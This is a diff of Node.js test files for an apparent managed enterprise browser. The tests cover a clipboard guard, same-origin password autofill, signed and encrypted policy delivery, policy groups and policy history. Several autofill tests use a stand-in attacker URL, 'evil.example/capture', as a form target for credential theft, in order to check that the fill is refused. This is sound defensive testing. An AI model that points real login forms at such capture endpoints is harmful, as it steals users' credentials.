test('Windows probe uses static command and bounded hidden execution',async()=>{let captured;const result=await probeWindows({platform:'win32',run:(exe,args,options,done)=>{captured={exe,args,options};done(null,'[{"name":"VPN", "dns":[]}]');}});assert.equal(result[0].name,'VPN');assert.equal(captured.options.windowsHide,true);assert.equal(captured.options.timeout,10000);assert.equal(captured.options.maxBuffer,65536);assert.match(captured.args.at(-1),/Get-NetAdapter/);await assert.rejects(probeWindows({platform:'win32',run:(_exe,_args,_options,done)=>done(null,'{"name":"VPN"}')}));});
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {EventEmitter} from 'node:events';
|
||||
import {createRequire} from 'node:module';
|
||||
import vm from 'node:vm';
|
||||
const require=createRequire(import.meta.url);
|
||||
const {attachPageClipboardGuard,guardedScreenshot,disposePageClipboardGuard}=require('../apps/browser/page-clipboard-guard.cjs');
|
||||
const {capturePNG}=require('../apps/browser/visual-capture.cjs');
|
||||
function fixture(valid=true){
|
||||
const api=new EventEmitter(),commands=[];let attached=false,detaches=0,failures=0;
|
||||
api.isAttached=()=>attached;api.attach=version=>{assert.equal(version,'1.3');attached=true;};
|
||||
api.detach=()=>{attached=false;detaches++;api.emit('detach');};
|
||||
const png=Buffer.from('Public bounded screenshot fixture');
|
||||
api.sendCommand=async(method,parameters)=>{commands.push({method,parameters});if(method==='Page.addScriptToEvaluateOnNewDocument')return valid?{identifier:'fixed-guard'}:{};if(method==='Page.captureScreenshot')return {data:png.toString('base64')};return {};};
|
||||
const contents={debugger:api,isDestroyed:()=>false};
|
||||
return {api,contents,commands,png,detachCount:()=>detaches,failureCount:()=>failures,initialize:()=>attachPageClipboardGuard(contents,()=>failures++)};
|
||||
}
|
||||
test('static page guard registers only fixed initialization and shares screenshot without detaching',async()=>{
|
||||
const f=fixture();await f.initialize();assert.deepEqual(f.commands.map(c=>c.method),['Page.enable','Page.addScriptToEvaluateOnNewDocument']);
|
||||
assert.equal(/require\(|ipcRenderer|process\./.test(f.commands[1].parameters.source),false);
|
||||
assert.deepEqual(await capturePNG(f.contents),f.png);assert.equal(f.commands.at(-1).method,'Page.captureScreenshot');assert.equal(f.detachCount(),0);
|
||||
disposePageClipboardGuard(f.contents);assert.equal(f.detachCount(),1);assert.equal(f.failureCount(),0);assert.equal(guardedScreenshot(f.contents,{}),null);
|
||||
});
|
||||
test('unknown attachment and invalid initialization cannot gain trusted screenshot ownership',async()=>{
|
||||
const occupied=fixture();occupied.api.attach('1.3');await assert.rejects(occupied.initialize());assert.equal(occupied.commands.length,0);
|
||||
const invalid=fixture(false);await assert.rejects(invalid.initialize());assert.equal(invalid.detachCount(),1);assert.equal(guardedScreenshot(invalid.contents,{}),null);
|
||||
});
|
||||
test('unexpected disconnect revokes ownership and reports failure; deliberate disposal is idempotent',async()=>{
|
||||
const f=fixture();await f.initialize();f.api.detach();assert.equal(f.failureCount(),1);assert.equal(guardedScreenshot(f.contents,{}),null);disposePageClipboardGuard(f.contents);assert.equal(f.detachCount(),1);
|
||||
});
|
||||
test('new-frame source freezes clipboard and replacement primitives against page tampering',async()=>{
|
||||
const f=fixture();await f.initialize();const native=[];
|
||||
class Document{execCommand(command){native.push(command);return true;}open(){return 'opened';}write(){}writeln(){}}
|
||||
const listeners=[],realm={Document,DOMException,window:{addEventListener:(name,handler,capture)=>listeners.push({name,handler,capture})}};
|
||||
vm.createContext(realm);vm.runInContext(f.commands[1].parameters.source,realm);
|
||||
const doc=new Document();for(const name of ['copy','cut','paste','PasteAndMatchStyle'])assert.equal(doc.execCommand(name),false);
|
||||
assert.equal(doc.execCommand('insertText'),true);assert.deepEqual(native,['insertText']);
|
||||
for(const name of ['open','write','writeln'])assert.throws(()=>doc[name](),error=>error.name==='SecurityError');
|
||||
vm.runInContext('Reflect.apply=()=>true;RegExp.prototype.test=()=>false;',realm);assert.equal(doc.execCommand('copy'),false);
|
||||
assert.throws(()=>Object.defineProperty(Document.prototype,'execCommand',{value:()=>true}));
|
||||
for(const name of ['copy','cut','paste','dragstart','drop']){let prevented=false,stopped=false;const listener=listeners.find(item=>item.name===name);assert.equal(listener.capture,true);listener.handler({preventDefault:()=>prevented=true,stopImmediatePropagation:()=>stopped=true});assert.equal(prevented&&stopped,true);}
|
||||
disposePageClipboardGuard(f.contents);
|
||||
});
|
||||
@@ -0,0 +1,30 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import vm from 'node:vm';
|
||||
import {createRequire} from 'node:module';
|
||||
const require=createRequire(import.meta.url),{fillScript}=require('../apps/browser/password-fill.cjs');
|
||||
const credential={origin:'https://work.example',username:'employee',password:'fixture-only-generated-password'};
|
||||
function fixture({url='https://work.example/login',action='https://work.example/signin',method='post',target='',visible=true,frame=false,multiple=false,override,focused=true,visibility='visible'}={}){
|
||||
class Input{constructor(type){this.type=type;this.name=type==='password'?'password':'username';this.autocomplete='';this.disabled=false;this.readOnly=false;}set value(value){this.stored=value;}get value(){return this.stored;}closest(){return null;}getClientRects(){return visible?[{}]:[];}dispatchEvent(){}}
|
||||
const user=new Input('text'),password=new Input('password');
|
||||
const form={action,method,target,querySelectorAll:()=>[user,password]};user.form=form;password.form=form;
|
||||
form.elements=override?[user,password,{getAttribute:name=>override[name]??null}]:[user,password];
|
||||
const window={isSecureContext:true};window.top=frame?{}:window;
|
||||
return {user,password,context:vm.createContext({window,location:{href:url,origin:new URL(url).origin},document:{hasFocus:()=>focused,visibilityState:visibility,querySelectorAll:()=>multiple?[password,new Input('password')]:[password]},getComputedStyle:()=>({display:'block',visibility:'visible',opacity:'1'}),HTMLInputElement:Input,Event:class{},URL})};
|
||||
}
|
||||
test('explicit fill sets exact-origin visible login fields without submitting',()=>{
|
||||
const f=fixture();assert.equal(vm.runInContext(fillScript('https://work.example/login',credential),f.context).completed,true);assert.equal(f.user.stored,credential.username);assert.equal(f.password.stored,credential.password);
|
||||
});
|
||||
test('HTTP, subdomains and alternate ports cannot reuse saved credentials',()=>{
|
||||
for(const url of ['http://work.example/login','https://other.work.example/login','https://work.example:8443/login'])assert.throws(()=>fillScript(url,credential));
|
||||
});
|
||||
test('navigation, frames, cross-origin forms, GET, new-window, hidden and ambiguous targets fail before writing',()=>{
|
||||
for(const options of [{url:'https://work.example/changed'},{frame:true},{action:'https://evil.example/capture'},{action:'http://work.example/login'},{method:'get'},{target:'_blank'},{visible:false},{multiple:true},{override:{formaction:'https://evil.example/capture'}},{override:{formmethod:'get'}},{override:{formtarget:'_blank'}}]){
|
||||
const f=fixture(options);assert.throws(()=>vm.runInContext(fillScript('https://work.example/login',credential),f.context));assert.equal(f.user.stored,undefined);assert.equal(f.password.stored,undefined);
|
||||
}
|
||||
});
|
||||
test('expired policy cannot inject a password',()=>{assert.throws(()=>fillScript('https://work.example/login',credential,Date.now()-1));});
|
||||
|
||||
test('queued fill cannot write into a hidden or blurred target document',()=>{
|
||||
for(const options of [{focused:false},{visibility:'hidden'}]){const f=fixture(options);assert.throws(()=>vm.runInContext(fillScript('https://work.example/login',credential),f.context),/foreground/);assert.equal(f.user.stored,undefined);assert.equal(f.password.stored,undefined);}
|
||||
});
|
||||
@@ -0,0 +1,17 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {createRequire} from 'node:module';
|
||||
import {generateKeyPairSync} from 'node:crypto';
|
||||
import {defaultPolicy,signPolicy,verifyPolicy} from '../packages/core/policy.mjs';
|
||||
const {assertPolicyAssignment}=createRequire(import.meta.url)('../apps/browser/policy-assignment.cjs');
|
||||
test('signed effective policy cannot be reused for another enrolled device',()=>{
|
||||
const a='00000000-0000-4000-8000-000000000001',b='00000000-0000-4000-8000-000000000002';
|
||||
const keys=generateKeyPairSync('ed25519');
|
||||
const privateKey=keys.privateKey.export({type:'pkcs8',format:'pem'}),publicKey=keys.publicKey.export({type:'spki',format:'pem'});
|
||||
const p={...defaultPolicy(),assignment:{deviceId:a,groups:[]}};
|
||||
const verified=verifyPolicy(signPolicy(p,privateKey),publicKey);
|
||||
assert.equal(assertPolicyAssignment(verified,a),verified);
|
||||
assert.throws(()=>assertPolicyAssignment(verified,b),/device assignment rejected/);
|
||||
const legacy=verifyPolicy(signPolicy(defaultPolicy(),privateKey),publicKey);
|
||||
assert.equal(assertPolicyAssignment(legacy,a),legacy);
|
||||
});
|
||||
@@ -0,0 +1,61 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {generateKeyPairSync} from 'node:crypto';
|
||||
import {mkdtempSync,rmSync} from 'node:fs';
|
||||
import {tmpdir} from 'node:os';
|
||||
import {join} from 'node:path';
|
||||
import channel from '../packages/core/policy-channel.cjs';
|
||||
import browser from '../apps/browser/management-channel.cjs';
|
||||
import {openStore,digest} from '../apps/server/store.mjs';
|
||||
import {createApp} from '../apps/server/app.mjs';
|
||||
import {verifyPolicy} from '../packages/core/policy.mjs';
|
||||
const ed=generateKeyPairSync('ed25519'),pq=generateKeyPairSync('ml-dsa-87');
|
||||
const edPublic=ed.publicKey.export({type:'spki',format:'pem'}),pqPublic=pq.publicKey.export({type:'spki',format:'pem'});
|
||||
const make=()=>channel.challenge('device-a',ed.privateKey,pq.privateKey);
|
||||
|
||||
test('real ML-KEM-1024 and dual signatures protect policy bytes with separate AEAD directions',()=>{
|
||||
const identity=channel.identity(ed.privateKey,pq.privateKey,pqPublic);assert.equal(channel.verifyIdentity(identity,edPublic,pqPublic),pqPublic);
|
||||
const {bundle,privateKey}=make();channel.verifyChallenge(bundle,'device-a',edPublic,pqPublic);
|
||||
const client=channel.prepare(bundle),server=channel.receive(client.request,bundle,privateKey);
|
||||
const value={payload:'confidential synthetic policy content',signature:'synthetic signature'};
|
||||
const response=channel.response(value,bundle,server);assert.equal(JSON.stringify(response).includes(value.payload),false);assert.deepEqual(channel.finish(response,bundle,client),value);
|
||||
assert.throws(()=>channel.finish({...response,encrypted:client.request.encrypted},bundle,client));
|
||||
const modified=structuredClone(response);modified.encrypted.tag=Buffer.alloc(16).toString('base64url');assert.throws(()=>channel.finish(modified,bundle,client));
|
||||
client.responseKey.fill(0);server.responseKey.fill(0);
|
||||
});
|
||||
test('channel rejects signature substitutions, different devices, expiry and unrecognized algorithms',()=>{
|
||||
const {bundle}=make();assert.throws(()=>channel.verifyChallenge(bundle,'device-b',edPublic,pqPublic));
|
||||
assert.throws(()=>channel.verifyChallenge(bundle,'device-a',edPublic,pqPublic,bundle.expiresAt));
|
||||
const other=generateKeyPairSync('ml-dsa-87').publicKey.export({type:'spki',format:'pem'});assert.throws(()=>channel.verifyChallenge(bundle,'device-a',edPublic,other));
|
||||
assert.throws(()=>channel.verifyChallenge({...bundle,version:'downgraded'},'device-a',edPublic,pqPublic));
|
||||
assert.throws(()=>channel.verifyChallenge({...bundle,extra:'untrusted'},'device-a',edPublic,pqPublic));
|
||||
assert.throws(()=>channel.verifyIdentity(channel.identity(ed.privateKey,pq.privateKey,pqPublic),edPublic,other));
|
||||
});
|
||||
test('ciphertext changes and response splicing never release a policy',()=>{
|
||||
const a=make(),b=make(),client=channel.prepare(a.bundle),other=channel.prepare(b.bundle),server=channel.receive(client.request,a.bundle,a.privateKey);
|
||||
const altered=structuredClone(client.request);altered.encrypted.ciphertext=Buffer.from('invalid').toString('base64url');assert.throws(()=>channel.receive(altered,a.bundle,a.privateKey));
|
||||
assert.throws(()=>channel.receive({...client.request,deviceId:'device-b'},a.bundle,a.privateKey));
|
||||
assert.throws(()=>channel.finish(channel.response({payload:'safe'},a.bundle,server),b.bundle,other));
|
||||
const replayContext={...client,requestId:'different-request'};assert.throws(()=>channel.finish(channel.response({payload:'safe'},a.bundle,server),a.bundle,replayContext));
|
||||
client.responseKey.fill(0);other.responseKey.fill(0);server.responseKey.fill(0);
|
||||
});
|
||||
test('real central channel denies plaintext, replay and cross-device access; browser never falls back',async t=>{
|
||||
const directory=mkdtempSync(join(tmpdir(),'safetynet-channel-')),store=openStore(directory),config={publicUrl:'http://127.0.0.1',secure:false,adminToken:'test-only-admin-credential-01234567890',requirePQManagement:true};
|
||||
const server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(resolve=>server.once('listening',resolve));const base=`http://127.0.0.1:${server.address().port}`;
|
||||
t.after(async()=>{server.closeAllConnections();await new Promise(resolve=>server.close(resolve));store.db.close();assert.ok(directory.startsWith(join(tmpdir(),'safetynet-channel-')));rmSync(directory,{recursive:true,force:true});});
|
||||
async function api(route,body,credential){const response=await fetch(base+route,{method:body?'POST':'GET',headers:{...(body?{'content-type':'application/json'}:{}),...(credential?{authorization:`Bearer ${credential}`}:{})},body:body?JSON.stringify(body):undefined});return {status:response.status,value:await response.json()};}
|
||||
async function enroll(name){const code='synthetic-enrollment-code-'+name;store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+60000,name);const result=await api('/api/device/enroll',{code,name,platform:'win32'});assert.equal(result.status,200);return result.value;}
|
||||
const a=await enroll('a'),b=await enroll('b');assert.equal(Object.hasOwn(a,'policy'),false,'Mandatory protected bootstrap must not disclose a plaintext policy');assert.equal((await api('/api/device/policy',null,a.token)).status,403);
|
||||
assert.equal((await api('/api/admin/management-channel',null,a.token)).status,401);
|
||||
const publicChannel=await api('/api/admin/management-channel',null,config.adminToken);assert.equal(publicChannel.status,200);assert.deepEqual(Object.keys(publicChannel.value).sort(),['requirePQManagement','signatureKey','version']);assert.equal(publicChannel.value.signatureKey,a.managementChannel.signatureKey);assert.equal(JSON.stringify(publicChannel.value).includes('PRIVATE KEY'),false);
|
||||
const bundle=(await api('/api/device/channel/challenge',{},a.token)).value,context=channel.prepare(bundle);
|
||||
assert.equal((await api('/api/device/channel/policy',context.request,b.token)).status,403);
|
||||
const protectedResponse=await api('/api/device/channel/policy',context.request,a.token);assert.equal(protectedResponse.status,200);
|
||||
assert.equal(verifyPolicy(channel.finish(protectedResponse.value,bundle,context),a.publicKey).version,1);context.responseKey.fill(0);
|
||||
assert.equal((await api('/api/device/channel/policy',context.request,a.token)).status,403);
|
||||
const device={server:base,id:a.id,token:a.token,publicKey:a.publicKey,channelSignatureKey:channel.verifyIdentity(a.managementChannel,a.publicKey)};const called=[];
|
||||
const request=async(_server,route,body,token)=>{called.push(route);const result=await api(route,body,token);if(result.status!==200)throw Error('Refused');return result.value;};
|
||||
const policy=await browser.protectedPolicyRequest({device,request,save:()=>assert.fail('Fresh enrollment must retain its signing pin')});assert.equal(verifyPolicy(policy,a.publicKey).version,1);assert.equal(called.includes('/api/device/policy'),false);
|
||||
await assert.rejects(browser.protectedPolicyRequest({device,request:async()=>{throw Error('Transport offline');},save:()=>{}}));
|
||||
store.db.prepare('UPDATE devices SET revoked=1 WHERE id=?').run(a.id);assert.equal((await api('/api/device/channel/challenge',{},a.token)).status,401);
|
||||
});
|
||||
@@ -0,0 +1,77 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {mkdtempSync,rmSync} from 'node:fs';
|
||||
import {tmpdir} from 'node:os';
|
||||
import {join} from 'node:path';
|
||||
import {randomUUID} from 'node:crypto';
|
||||
import {openStore,digest} from '../apps/server/store.mjs';
|
||||
import {createApp} from '../apps/server/app.mjs';
|
||||
import {PolicyGroupSchema,applyPolicyGroups} from '../packages/core/policy-groups.mjs';
|
||||
import {defaultPolicy,verifyPolicy,destinationAllowed} from '../packages/core/policy.mjs';
|
||||
|
||||
async function fixture(t,review=false){
|
||||
const dir=mkdtempSync(join(tmpdir(),'safetynet-groups-')),store=openStore(dir),origin='http://127.0.0.1:4310';
|
||||
const server=createApp(store,{publicUrl:origin,secure:false,requireIndependentPolicyApproval:review}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));
|
||||
t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});});
|
||||
const ids=[randomUUID(),randomUUID(),randomUUID()];for(const [index,id] of ids.entries())store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash) VALUES(?,?,?,?,?)').run(id,`Device ${index}`,'win32','employee',digest(`device-credential-${index}-12345678901234567890`));
|
||||
async function api(path,method='GET',body,subject='author',role='admin'){
|
||||
const credential=`synthetic-group-session-${subject}-12345678901234567890`;store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+60000,JSON.stringify({sub:subject,role}));
|
||||
const response=await fetch(`http://127.0.0.1:${server.address().port}${path}`,{method,headers:{cookie:`sn_session=${credential}`,origin,'content-type':'application/json'},body:body===undefined?undefined:JSON.stringify(body)});return {status:response.status,body:await response.json()};
|
||||
}
|
||||
const group=()=>PolicyGroupSchema.parse({id:'finance',name:'Finance',memberDeviceIds:ids.slice(0,2),restrictions:{blockedHosts:['blocked.example'],disableAI:true,hiddenSections:['agents'],requireDocumentScan:true,managedBookmarks:[{id:'finance_intranet',title:'Finance',url:'https://intranet.example/finance'}]},rollout:{stage:'pilot',deviceIds:[ids[0]]}});
|
||||
const publish=(g,expectedVersion=store.get('policy').version)=>api(`/api/admin/policy-groups/${g.id}`,'PUT',{expectedVersion,group:g});
|
||||
const approve=r=>api(`/api/admin/policy-reviews/${r.reviewId}/approve`,'POST',{payloadHash:r.payloadHash,expectedVersion:r.expectedVersion,approve:true},'reviewer');
|
||||
return {store,api,ids,group,publish,approve};
|
||||
}
|
||||
test('group pilot applies only to approved members, all promotion and removal create new signed generations',async t=>{
|
||||
const f=await fixture(t),g=f.group(),baseline=f.store.get('policy');baseline.ai.enabled=true;baseline.browser.allowDownloads=true;baseline.inspection.documentAnalysisEnabled=false;f.store.put('policy',baseline);
|
||||
assert.equal((await f.publish(g)).status,200);
|
||||
const pilot=verifyPolicy(f.store.envelope(f.ids[0]),f.store.publicKey()),control=verifyPolicy(f.store.envelope(f.ids[1]),f.store.publicKey());
|
||||
assert.equal(pilot.version,2);assert.equal(control.version,2);assert.deepEqual(pilot.assignment,{deviceId:f.ids[0],groups:['finance']});assert.deepEqual(control.assignment.groups,[]);
|
||||
assert.equal(pilot.ai.enabled,false);assert.equal(control.ai.enabled,true);assert.equal(pilot.inspection.documentAnalysisEnabled,true);assert.equal(destinationAllowed('https://blocked.example/',pilot),false);assert.equal(destinationAllowed('https://blocked.example/',control),true);
|
||||
assert.equal(pilot.browser.bookmarks.managed[0].id,'finance_intranet');assert.equal(control.browser.bookmarks.managed.length,0);
|
||||
const same=f.store.envelope(f.ids[0]);assert.deepEqual(verifyPolicy(same,f.store.publicKey()),pilot); // Stable content at one generation.
|
||||
g.rollout={stage:'all',deviceIds:[]};assert.equal((await f.publish(g,2)).status,200);assert.equal(f.store.effectivePolicy(f.ids[1]).ai.enabled,false);assert.equal(f.store.effectivePolicy(f.ids[2]).ai.enabled,true);
|
||||
assert.equal((await f.api('/api/admin/policy-groups/finance','DELETE',{expectedVersion:3})).status,200);assert.equal(f.store.effectivePolicy(f.ids[0]).ai.enabled,true);assert.equal(f.store.effectivePolicy(f.ids[0]).version,4);
|
||||
});
|
||||
test('restrictive merges preserve baseline, conflict order cannot change result, unapproved features rejected',()=>{
|
||||
const p=defaultPolicy();p.browser.blockedHosts=['baseline.example'];p.browser.settings.hiddenSections=['passwords'];
|
||||
const first=PolicyGroupSchema.parse({id:'a',name:'A',memberDeviceIds:['device'],rollout:{stage:'all'},restrictions:{blockedHosts:['group.example'],disableDownloads:true,hiddenSections:['agents']}}),second=PolicyGroupSchema.parse({...first,id:'b',restrictions:{blockedHosts:['second.example'],disableAI:true}});
|
||||
assert.deepEqual(applyPolicyGroups(p,[first,second],'device'),applyPolicyGroups(p,[second,first],'device'));
|
||||
const result=applyPolicyGroups(p,[first],'device');assert.deepEqual(result.browser.blockedHosts,['baseline.example','group.example']);assert.equal(result.browser.allowDownloads,false);assert.ok(result.browser.settings.hiddenSections.includes('passwords'));
|
||||
assert.throws(()=>PolicyGroupSchema.parse({...first,restrictions:{allowDownloads:true}}));assert.throws(()=>PolicyGroupSchema.parse({...first,rollout:{stage:'pilot',deviceIds:['outsider']}}));
|
||||
});
|
||||
test('independent review covers exact membership and cohort, stale and revoked candidates fail atomically',async t=>{
|
||||
const f=await fixture(t,true),g=f.group(),queued=await f.publish(g);assert.equal(queued.status,202);assert.equal(f.store.getRaw('policyGroups'),null);assert.equal(f.store.effectivePolicy(f.ids[0]).version,1);
|
||||
const detail=await f.api(`/api/admin/policy-reviews/${queued.body.reviewId}`);assert.deepEqual(detail.body.operation.group,g);
|
||||
assert.equal((await f.api(`/api/admin/policy-reviews/${queued.body.reviewId}/approve`,'POST',{payloadHash:queued.body.payloadHash,expectedVersion:1,approve:true})).status,403);
|
||||
assert.equal((await f.approve(queued.body)).status,200);assert.equal(f.store.effectivePolicy(f.ids[0]).version,2);
|
||||
const next=await f.publish({...g,name:'Reviewed change'});f.store.db.prepare('UPDATE devices SET revoked=1 WHERE id=?').run(f.ids[0]);assert.equal((await f.approve(next.body)).status,409);assert.equal(f.store.get('policy').version,2);assert.equal(f.store.getRaw('policyGroups')[0].name,'Finance');
|
||||
});
|
||||
test('permissions, preview, unknown devices, union limits and bookmark conflicts are enforced centrally',async t=>{
|
||||
const f=await fixture(t),g=f.group();assert.equal((await f.api('/api/admin/policy-groups/finance','PUT',{expectedVersion:1,group:g},'auditor','auditor')).status,403);
|
||||
assert.equal((await f.api('/api/admin/policy-groups/preview','POST',{deviceId:f.ids[0],group:g},'auditor','auditor')).body.policy.ai.enabled,false);assert.equal(f.store.getRaw('policyGroups'),null);
|
||||
assert.equal((await f.publish({...g,memberDeviceIds:[...g.memberDeviceIds,'unknown']})).status,409);
|
||||
f.store.db.prepare('INSERT INTO bookmarks VALUES(?,?,?)').run(f.ids[0],1,JSON.stringify([{id:'finance_intranet',title:'Personal',url:'https://personal.example/',folder:''}]));assert.equal((await f.publish(g)).status,409);
|
||||
f.store.db.prepare('DELETE FROM bookmarks').run();assert.equal((await f.publish(g)).status,200);
|
||||
const conflicting={...g,id:'other',restrictions:{managedBookmarks:[{id:'finance_intranet',title:'Other',url:'https://other.example/',folder:''}]}};assert.equal((await f.publish(conflicting)).status,409);assert.equal(f.store.get('policy').version,2);
|
||||
const overview=(await f.api('/api/admin/policy-groups')).body;assert.equal(overview.devices[0].acknowledged,false);f.store.db.prepare('UPDATE devices SET policy_version=2 WHERE id=?').run(f.ids[0]);assert.equal((await f.api('/api/admin/policy-groups')).body.devices.find(d=>d.id===f.ids[0]).acknowledged,true);
|
||||
});
|
||||
test('restoring a generation restores reviewed group assignments at a new version',async t=>{
|
||||
const f=await fixture(t),g=f.group();assert.equal((await f.publish(g)).status,200);
|
||||
g.rollout={stage:'all',deviceIds:[]};assert.equal((await f.publish(g)).status,200);
|
||||
assert.deepEqual(f.store.effectivePolicy(f.ids[1]).assignment.groups,['finance']);
|
||||
const snapshot=(await f.api('/api/admin/policy/history/2')).body;assert.equal(snapshot.groups[0].rollout.stage,'pilot');
|
||||
assert.equal((await f.api('/api/admin/policy/restore','POST',{sourceVersion:2,expectedVersion:3,approve:true})).status,200);
|
||||
assert.equal(f.store.get('policy').version,4);assert.deepEqual(f.store.effectivePolicy(f.ids[1]).assignment.groups,[]);assert.deepEqual(f.store.effectivePolicy(f.ids[0]).assignment.groups,['finance']);
|
||||
const diff=(await f.api('/api/admin/policy/diff?from=2&to=3')).body;assert.ok(diff.groupDiff.changes.length);
|
||||
});
|
||||
test('gateway and bookmark APIs enforce device effective group policy and global drafts reject assignment metadata',async t=>{
|
||||
const f=await fixture(t),g=f.group(),p=f.store.get('policy');p.ai.enabled=true;f.store.put('policy',p);assert.equal((await f.publish(g)).status,200);
|
||||
// Use the authenticated device API, not an isolated merge helper.
|
||||
const server=createApp(f.store,{publicUrl:'http://127.0.0.1:4310',secure:false,aiBaseUrl:'https://127.0.0.1:1',aiKey:'synthetic-fixture-key',aiModel:''}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));t.after(()=>new Promise(r=>server.close(r)));
|
||||
const headers={authorization:'Bearer device-credential-0-12345678901234567890','content-type':'application/json'};
|
||||
const ai=await fetch(`http://127.0.0.1:${server.address().port}/api/device/ai`,{method:'POST',headers,body:JSON.stringify({prompt:'Public content'})});assert.equal(ai.status,409);assert.match((await ai.json()).error,/Approved AI provider/);
|
||||
const bookmark=await fetch(`http://127.0.0.1:${server.address().port}/api/device/bookmarks`,{method:'POST',headers,body:JSON.stringify({action:'add',expectedRevision:0,policyVersion:2,bookmark:{id:'test',title:'Blocked',url:'https://blocked.example/'}})});assert.equal(bookmark.status,403);
|
||||
const draft=f.store.effectivePolicy(f.ids[0]);draft.version++;assert.equal((await f.api('/api/admin/policy','PUT',draft)).status,400);assert.equal(f.store.get('policy').version,2);
|
||||
});
|
||||
@@ -0,0 +1,58 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {mkdtempSync,rmSync} from 'node:fs';
|
||||
import {tmpdir} from 'node:os';
|
||||
import {join} from 'node:path';
|
||||
import {openStore,digest} from '../apps/server/store.mjs';
|
||||
import {createApp} from '../apps/server/app.mjs';
|
||||
import {verifyPolicy} from '../packages/core/policy.mjs';
|
||||
import {policyDiff} from '../apps/server/policy-history.mjs';
|
||||
async function fixture(t){
|
||||
const dir=mkdtempSync(join(tmpdir(),'safetynet-history-')),store=openStore(dir),credential='synthetic-history-admin-credential-123456789',origin='http://127.0.0.1:4310';
|
||||
const server=createApp(store,{adminToken:credential,publicUrl:origin,secure:false}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));
|
||||
t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});});
|
||||
async function api(path,body,role){
|
||||
const headers={'content-type':'application/json'};
|
||||
if(role){const key=`synthetic-history-${role}-credential-123456789`;store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(key),Date.now()+60000,JSON.stringify({sub:role,role}));headers.cookie=`sn_session=${key}`;headers.origin=origin;}else headers.authorization=`Bearer ${credential}`;
|
||||
const response=await fetch(`http://127.0.0.1:${server.address().port}${path}`,{method:body?'POST':'GET',headers,body:body?JSON.stringify(body):undefined});return {status:response.status,body:await response.json()};
|
||||
}
|
||||
function save(policy){store.put('policy',policy);store.db.prepare('INSERT INTO policies VALUES(?,?,?,?)').run(policy.version,new Date().toISOString(),'test-publisher',JSON.stringify(policy));}
|
||||
return {store,api,save};
|
||||
}
|
||||
test('history cursor, schema snapshots and deterministic diffs cover immutable global versions',async t=>{
|
||||
const f=await fixture(t),p=f.store.get('policy');p.version=2;p.brand.name='Company Browser';f.save(p);
|
||||
const list=await f.api('/api/admin/policy/history?limit=1');assert.equal(list.status,200);assert.equal(list.body.versions[0].version,2);assert.equal(list.body.versions[0].current,true);assert.equal(list.body.nextBefore,2);
|
||||
const next=await f.api('/api/admin/policy/history?limit=1&before=2');assert.equal(next.body.versions[0].version,1);assert.equal(next.body.nextBefore,null);
|
||||
const item=await f.api('/api/admin/policy/history/2');assert.equal(item.body.policy.brand.name,'Company Browser');assert.equal(JSON.stringify(item.body).includes('privateKey'),false);
|
||||
const diff=await f.api('/api/admin/policy/diff?from=1&to=2');assert.equal(diff.status,200);assert.ok(diff.body.changes.some(c=>c.path==='/brand/name'&&c.after==='Company Browser'));assert.equal(diff.body.truncated,false);
|
||||
assert.equal((await f.api('/api/admin/policy/history/999')).status,404);assert.equal((await f.api('/api/admin/policy/diff?from=1&to=999')).status,404);assert.equal((await f.api('/api/admin/policy/history?limit=101')).status,400);
|
||||
});
|
||||
test('restore publishes new signed monotonic policy with refreshed expiry and preserves source and audit privacy',async t=>{
|
||||
const f=await fixture(t),expired=f.store.get('policy');expired.expiresAt='2020-01-01T00:00:00.000Z';f.store.db.prepare('UPDATE policies SET policy=? WHERE version=1').run(JSON.stringify(expired));
|
||||
const source=f.store.db.prepare('SELECT policy FROM policies WHERE version=1').get().policy,p=f.store.get('policy');p.version=2;p.brand.name='Changed';f.save(p);
|
||||
const result=await f.api('/api/admin/policy/restore',{sourceVersion:1,expectedVersion:2,approve:true});assert.equal(result.status,200);assert.equal(result.body.version,3);assert.equal(result.body.sourceVersion,1);
|
||||
const signed=verifyPolicy(f.store.envelope(),f.store.publicKey());assert.equal(signed.version,3);assert.notEqual(signed.brand.name,'Changed');assert.ok(Date.parse(signed.expiresAt)>Date.now()+6*86400000);
|
||||
assert.equal(f.store.db.prepare('SELECT policy FROM policies WHERE version=1').get().policy,source);
|
||||
const audit=JSON.parse(f.store.db.prepare("SELECT metadata FROM events WHERE kind='policy.restored'").get().metadata);assert.deepEqual(audit,{actor:'bootstrap-admin',version:3,sourceVersion:1});
|
||||
assert.equal((await f.api('/api/admin/policy/restore',{sourceVersion:1,expectedVersion:2,approve:true})).status,409);assert.equal(f.store.get('policy').version,3);
|
||||
assert.equal((await f.api('/api/admin/policy/restore',{sourceVersion:999,expectedVersion:3,approve:true})).status,404);assert.equal((await f.api('/api/admin/policy/restore',{sourceVersion:1,expectedVersion:3,approve:false})).status,400);
|
||||
});
|
||||
test('invalid historic schemas cannot be restored and failure rolls back without new audit or version',async t=>{
|
||||
const f=await fixture(t),invalid=f.store.get('policy');invalid.proxy={mode:'unknown-mode'};f.store.db.prepare('UPDATE policies SET policy=? WHERE version=1').run(JSON.stringify(invalid));
|
||||
const result=await f.api('/api/admin/policy/restore',{sourceVersion:1,expectedVersion:1,approve:true});assert.equal(result.status,400);assert.equal(f.store.get('policy').version,1);assert.equal(f.store.db.prepare("SELECT COUNT(*) AS count FROM events WHERE kind='policy.restored'").get().count,0);
|
||||
assert.equal((await f.api('/api/admin/policy/history')).status,200);
|
||||
});
|
||||
